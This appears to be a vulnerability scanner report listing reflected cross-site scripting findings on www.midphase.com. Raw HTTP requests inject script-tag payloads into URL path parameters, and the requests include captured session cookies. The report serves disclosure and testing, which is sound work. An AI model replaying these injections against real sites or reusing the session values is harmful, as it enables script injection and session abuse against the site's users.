GET /supportadd43"><script>alert(1)</script>dd67874c323/q562/images/print-logo.jpg HTTP/1.1 Host: www.midphase.com Proxy-Connection: keep-alive Referer: http://www.midphase.com/support/q562/Why-are-my-emails-not-getting-to-hotmailcom-or-yahoocom-customers/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=1.1300975417.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); MidPhase-No-Chat-Popup=true; PHPSESSID=0c5b70a271090ce1b11cb6ff33b959b7; __unam=944964-12ee82f56a3-5e2cbb11-3; __utma=1.1945133757.1300975417.1300975417.1300975417.1; __utmc=1; __utmv=1.|1=Chat=Yes=1,; __utmb=1.15.10.1300975417
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c4bb9"><script>alert(1)</script>8fdaee31d38 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /support/q562c4bb9"><script>alert(1)</script>8fdaee31d38/images/print-logo.jpg HTTP/1.1 Host: www.midphase.com Proxy-Connection: keep-alive Referer: http://www.midphase.com/support/q562/Why-are-my-emails-not-getting-to-hotmailcom-or-yahoocom-customers/ User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=1.1300975417.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); MidPhase-No-Chat-Popup=true; PHPSESSID=0c5b70a271090ce1b11cb6ff33b959b7; __unam=944964-12ee82f56a3-5e2cbb11-3; __utma=1.1945133757.1300975417.1300975417.1300975417.1; __utmc=1; __utmv=1.|1=Chat=Yes=1,; __utmb=1.15.10.1300975417
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aa56c"><script>alert(1)</script>cd2e8b56084 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /web-design-servicesaa56c"><script>alert(1)</script>cd2e8b56084/ HTTP/1.1 Host: www.midphase.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=1.1300975417.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=ee4835ab8f95193a9a61d4f041b0a0fb; __utma=1.1945133757.1300975417.1300975417.1300975417.1; __utmc=1; __utmv=1.|1=Chat=Yes=1,; __utmb=1.6.10.1300975417; MidPhase-No-Chat-Popup=true
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 38c82"><script>alert(1)</script>59dbd88521e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /website-hosting38c82"><script>alert(1)</script>59dbd88521e/ HTTP/1.1 Host: www.midphase.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=1.1300975417.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.1945133757.1300975417.1300975417.1300975417.1; __utmc=1; __utmb=1.1.10.1300975417